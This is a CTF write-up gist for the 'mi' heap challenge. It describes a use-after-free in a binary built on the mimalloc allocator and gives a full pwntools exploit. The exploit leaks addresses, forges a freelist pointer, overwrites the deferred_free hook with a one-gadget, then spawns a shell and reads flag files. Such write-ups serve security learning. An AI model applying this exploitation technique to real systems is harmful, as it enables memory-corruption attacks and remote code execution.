Skip to content

Instantly share code, notes, and snippets.

@hzshang

hzshang/mi.md Secret

Created September 2, 2019 05:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hzshang/b993040ad310da4199c3dd5a54769c48 to your computer and use it in GitHub Desktop.
Save hzshang/b993040ad310da4199c3dd5a54769c48 to your computer and use it in GitHub Desktop.

It's a simply UAF heap challenge, but malloc is implemented by libmimalloc.

With a few trys, I find it uses a fastbin-like way to manage freed chunk, but only reuses the chunk in fastbin when I malloc the same size chunk repeatedly some times, so it's easy to leak and modify the next pointer, and the libc and libmimalloc base can be guessed using this leakage (about 1/1024). The most difficult thing is that malloc will memset the chunk before return and the protection is strict so a legal next pointer must locate in the mmaped big chunk.

It seems impossible to malloc arbitrary address because of full prorection, but it's available to malloc address in the mmapd big chunk by fake the next pointer. There are some key values at the head of big chunk. Overwrite it and it crashed in _mi_malloc_generic when malloc again! Now v28 is an arbitrary value I can control, v13 is the head of mmaped chunk which I modified. It's clear that I can write a qword to an arbitrary address which stores 0 originally at Line 270.

  if ( v25 & 0xFFFFFFFFFFFFFFFCLL )
  {
    v28 = *v27;
    if ( *v27 )
    {
      LOWORD(v29) = 1;
      while ( 1 )
      {
        LOWORD(v29) = v29 + 1;
        if ( !*v28 )
          break;
        v28 = (_QWORD *)*v28;
      }
      v29 = (unsigned __int16)v29;
    }
    else
    {
      v28 = (_QWORD *)(v25 & 0xFFFFFFFFFFFFFFFCLL);
      v29 = 1LL;
    }
    *v28 = *(_QWORD *)(v13 + 8);  <==================Line 270
    *(_QWORD *)(v13 + 8) = v27;
    _InterlockedSub64((volatile signed __int64 *)(v13 + 40), v29);
    *(_QWORD *)(v13 + 24) -= v29;

Adjust my payload and make this function return peacefully, at the meantime overwrite deferred_free function pointer in _mi_malloc_generic with one gadget, malloc again and get the shell.

  ++**(_QWORD **)v3;
  if ( deferred_free )
    deferred_free(0LL);
  v4 = (volatile signed __int64 *)(v3 + 2632);
  while ( 1 )
  {
    v5 = (signed __int64 *)*((_QWORD *)v3 + 329);
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
context.log_level="error"
context.arch="amd64"
pwn_file="./mi"
#elf=ELF(pwn_file)
#heap_add=0
#stack_add=0
times=0
while True:
    if len(sys.argv)==1:
        r=process(pwn_file)
        pid=r.pid
    else:
        r=remote("mi.chal.ctf.westerns.tokyo",10001)
        pid=0

    def debug():
        log.debug("process pid:%d"%pid)
        pause()

    def add(idx,size):
        r.sendafter(">>","1".ljust(0x1f,"\x00")+str(idx).ljust(0x1f,"\x00")+str(size).ljust(0x1f,"\x00"))
    #    0x10390000r.sendlineafter("number",str(idx))
    #    r.sendlineafter("size",str(size))

    def edit(idx,content):
        r.sendafter(">>","2".ljust(0x1f,"\x00")+str(idx).ljust(0x1f,"\x00")+content)
    #    r.sendlineafter("number",str(idx))
    #    r.sendafter("value",content)

    def show(idx):
        r.sendlineafter(">>","3")
        r.sendlineafter("number\n",str(idx))
        return r.recvline()[:-1]

    def dele(idx):
        r.sendlineafter(">>","4")
        r.sendlineafter("number",str(idx))

    try:
        add(0,0x50)
        add(1,0x50)
        dele(0)
        dele(1)
        leak = u64(show(1)+"\x00\x00")
        heap_addr = leak-0xa0-0x30-0x15e0
        offset = (leak+0x100)&0xffffffffffff0000
        #print "offset: ",
        delta = 0x10390000
        #delta = int(raw_input(),16)
        elf_addr = offset + delta
        libc_addr = elf_addr + 0x22a000
        #pause()
        edit(1,p64(offset+0x70)*10)
        for i in range(0x30):
            add(2,0x50)
        add(3,0x50)
        edit(3,p64(heap_addr+0x2658)+p64(elf_addr+0x228970)*9)
        add(2,0x50)
        #print hex(heap_addr)
        #print hex(offset)
        #print hex(elf_addr)
        add(2,0x50)
        f = {
            0:0,
            0x18:p64(libc_addr+0x10a38c),# one gadget
            0x28:p64(heap_addr+0x2650),
            0x30:p64(0x50),
        }
        edit(2,fit(f,length=0x50))
        add(2,0x50)
        r.sendlineafter(">>","1")
        r.sendlineafter("number","1")
        r.sendlineafter("size","100")
        r.sendline("\n\n")
        r.sendline("echo 666;ls ; cat fl* ; cat F* ;cat /home/*/f*; cat /f*")
        r.recvuntil("666")
        r.interactive()
        break
    except Exception as e:
        print "fail",times
        times+=1
        r.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment